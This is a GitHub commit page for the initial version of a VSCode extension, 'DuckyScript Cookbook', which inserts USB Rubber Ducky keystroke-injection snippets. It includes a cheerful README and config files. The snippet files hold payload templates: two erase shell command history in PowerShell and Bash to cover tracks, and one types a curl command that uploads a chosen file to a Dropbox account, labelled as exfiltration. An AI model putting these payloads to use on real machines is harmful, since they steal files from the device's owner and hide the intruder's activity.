Skip to content

Commit 77941b3

Browse files
committed
init
1 parent d17c6fe commit 77941b3

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

57 files changed

+11249
-1
lines changed

.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
dist
2+
node_modules
3+
*.vsix

.vscode/extensions.json

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
{
2+
// See http://go.microsoft.com/fwlink/?LinkId=827846
3+
// for the documentation about the extensions.json format
4+
"recommendations": [
5+
"dbaeumer.vscode-eslint",
6+
"ms-vscode.extension-test-runner"
7+
]
8+
}

.vscode/launch.json

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
// A launch configuration that compiles the extension and then opens it inside a new window
2+
// Use IntelliSense to learn about possible attributes.
3+
// Hover to view descriptions of existing attributes.
4+
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
5+
{
6+
"version": "0.2.0",
7+
"configurations": [
8+
{
9+
"name": "Run Extension",
10+
"type": "extensionHost",
11+
"request": "launch",
12+
"runtimeExecutable": "${execPath}",
13+
"args": [
14+
"--extensionDevelopmentPath=${workspaceFolder}"
15+
],
16+
"outFiles": [
17+
"${workspaceFolder}/out/**/*.js"
18+
],
19+
"preLaunchTask": "npm: watch"
20+
}
21+
]
22+
}

.vscode/settings.json

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
// Place your settings in this file to overwrite default and user settings.
2+
{
3+
"files.exclude": {
4+
"out": false // set this to true to hide the "out" folder with the compiled JS files
5+
},
6+
"search.exclude": {
7+
"out": true // set this to false to include "out" folder in search results
8+
},
9+
// Turn off tsc task auto detection since we have the necessary tasks as npm scripts
10+
"typescript.tsc.autoDetect": "off"
11+
}

.vscode/tasks.json

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
// See https://go.microsoft.com/fwlink/?LinkId=733558
2+
// for the documentation about the tasks.json format
3+
{
4+
"version": "2.0.0",
5+
"tasks": [
6+
{
7+
"type": "npm",
8+
"script": "watch",
9+
"problemMatcher": "$tsc-watch",
10+
"isBackground": true,
11+
"presentation": {
12+
"reveal": "never"
13+
},
14+
"group": {
15+
"kind": "build",
16+
"isDefault": true
17+
}
18+
}
19+
]
20+
}

.vscodeignore

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
.vscode/**
2+
.vscode-test/**
3+
test/**
4+
.gitignore
5+
.yarnrc
6+
vsc-extension-quickstart.md
7+
**/jsconfig.json
8+
**/*.map
9+
**/.eslintrc.json

README.md

Lines changed: 80 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,80 @@
1-
# DuckyScriptCookbook
1+
# 🦆 DuckyScript Cookbook
2+
3+
Welcome to the **DuckyScript Cookbook**—your quacktastic assistant for whipping up DuckyScript magic in no time! 🚀
4+
5+
## What's Cooking? 🍳
6+
7+
DuckyScript Cookbook is a simple yet powerful VSCode extension that helps you speedily paste ready-made DuckyScript snippets into your text files. Whether you're a coding newbie or a seasoned pro, we've got the right recipe to spice up your scripting experience!
8+
9+
---
10+
11+
## Features That Will Make You Quack with Joy 🥳
12+
13+
### 🐤 A Duck Icon for Your Text Files
14+
15+
Ever wanted more ducks in your life? Now you can have an adorable duck icon grace all your text files! Sure, some might not be payloads, but who cares? Ducks make everything better, right? 🦆✨
16+
17+
![](TODO)
18+
19+
### 📖 Ready-to-Use Recipes (Sadly, Not Edible)
20+
Dive into our collection of pre-made DuckyScript "recipes" that are ready to be served hot into your projects. From simple tasks to complex operations, we've got a dish for every occasion. Bon appétit... err, we mean, happy coding! 🍽️
21+
22+
![](TODO)
23+
24+
### 📝 Useful Snippets and Where to Find Them
25+
Channel your inner wizard and explore a library of handy snippets waiting to be discovered. No Marauder's Map needed—just a couple of clicks, and you're there! Accio, perfect script! 🧙‍♂️✨
26+
27+
![](TODO)
28+
29+
### 😎 A Cool Style to Show Off to Your Desk Neighbors
30+
Tired of boring old scripts? Impress your colleagues with slick and stylish code that's as cool as the other side of the pillow. They'll be so jealous, they might just quack in envy! 🕶️🔥
31+
32+
---
33+
34+
## How to Use This Ducktastic Extension 🦆💻
35+
36+
1. **Install the Extension**:
37+
- Head over to the VSCode Extensions Marketplace.
38+
- Search for **"DuckyScript Cookbook"**.
39+
- Click that shiny **"Install"** button.
40+
- Voilà! You're ready to roll.
41+
42+
2. **Insert Snippets and Recipes**:
43+
- Open any text file in VSCode.
44+
- Press `Ctrl+Shift+P` (or `Cmd+Shift+P` on Mac) to open the command palette.
45+
- Type **"DuckyScript Cookbook"** and select your desired snippet or recipe.
46+
- Watch as your script transforms into a masterpiece before your eyes!
47+
48+
3. **Enjoy the Duck Icons**:
49+
- Sit back and admire those cute duck icons adorning your files. Share the joy with your friends and turn your workspace into a virtual duck pond! 🦆🌊
50+
51+
---
52+
53+
## Why You'll Love It ❤️
54+
55+
- **Time Saver**: Spend less time typing repetitive code and more time doing what you love.
56+
- **User-Friendly**: Perfect for both beginners and experts alike. Simple, intuitive, and fun!
57+
- **Customizable**: Tailor the snippets and recipes to fit your unique needs and preferences.
58+
- **Mood Booster**: Because who wouldn't smile seeing ducks all over their workspace?
59+
60+
---
61+
62+
## Feedback and Contributions 🗣️
63+
64+
We'd love to hear your thoughts, ideas, and duck jokes! If you have any suggestions or want to contribute to making this extension even more awesome, head over to our [GitHub repository](https://github.com/aleff-github/DuckyScriptCookbook) and let’s make some waves together. 🦆🤝
65+
66+
---
67+
68+
## License 📄
69+
70+
This project is licensed under the [GPLv3 License](LICENSE). Feel free to use, modify, and distribute as you like. Spread the ducky love! 🦆❤️
71+
72+
---
73+
74+
## Special Thanks 🎉
75+
76+
A big quacking thank you to all the developers and contributors who made this project possible. You’re all ducking amazing! 🙌 Oh but wait, I'm just -- would you like to hear this thank you from you? Contribute by reporting new recipes or snippets!
77+
78+
---
79+
80+
Happy Hacking and may the ducks be ever in your favor! 🦆💻✨
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
2+
REM_BLOCK
3+
Credits: ShellHacks
4+
Website: https://www.shellhacks.com
5+
Source: https://www.shellhacks.com/clear-history-powershell/
6+
END_REM
7+
8+
REM Clear the command history in PowerShell by deleting the history file
9+
STRING Remove-Item (Get-PSReadlineOption).HistorySavePath
10+
ENTER
11+
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
2+
REM It is assumed that a shell has already been opened...
3+
STRING rm $HISTFILE; exit
4+
ENTER
5+
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
2+
REM Send to Dropbox function
3+
STRING curl -X POST https://content.dropboxapi.com/2/files/upload --header "Authorization: Bearer
4+
5+
REM REPLACE #ACCESS_TOKEN with your personal Dropbox Access Token
6+
STRING #ACCESS_TOKEN
7+
8+
STRING " --header "Dropbox-API-Arg: {\"path\": \"
9+
10+
REM REPLACE #DROPBOX_FOLDER with the Dropbox destination directory name, for istance /$ZIP_NAME
11+
STRING #DROPBOX_FOLDER
12+
13+
STRING \",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" --header "Content-Type: application/octet-stream" --data-binary "@
14+
15+
REM REPLACE #FILE_TO_EXFILTRATE with the full path of the file that you want to exfiltrate, for istance it can be an archive and in this case should be something like this:
16+
REM GNU/Linux:
17+
REM |-> /home/aleff/Documents/archive.zip
18+
REM Windows:
19+
REM |-> C:/Users/aleff/Documents/archive.zip
20+
STRING #FILE_TO_EXFILTRATE
21+
22+
STRING "
23+
ENTER
24+

0 commit comments

Comments
 (0)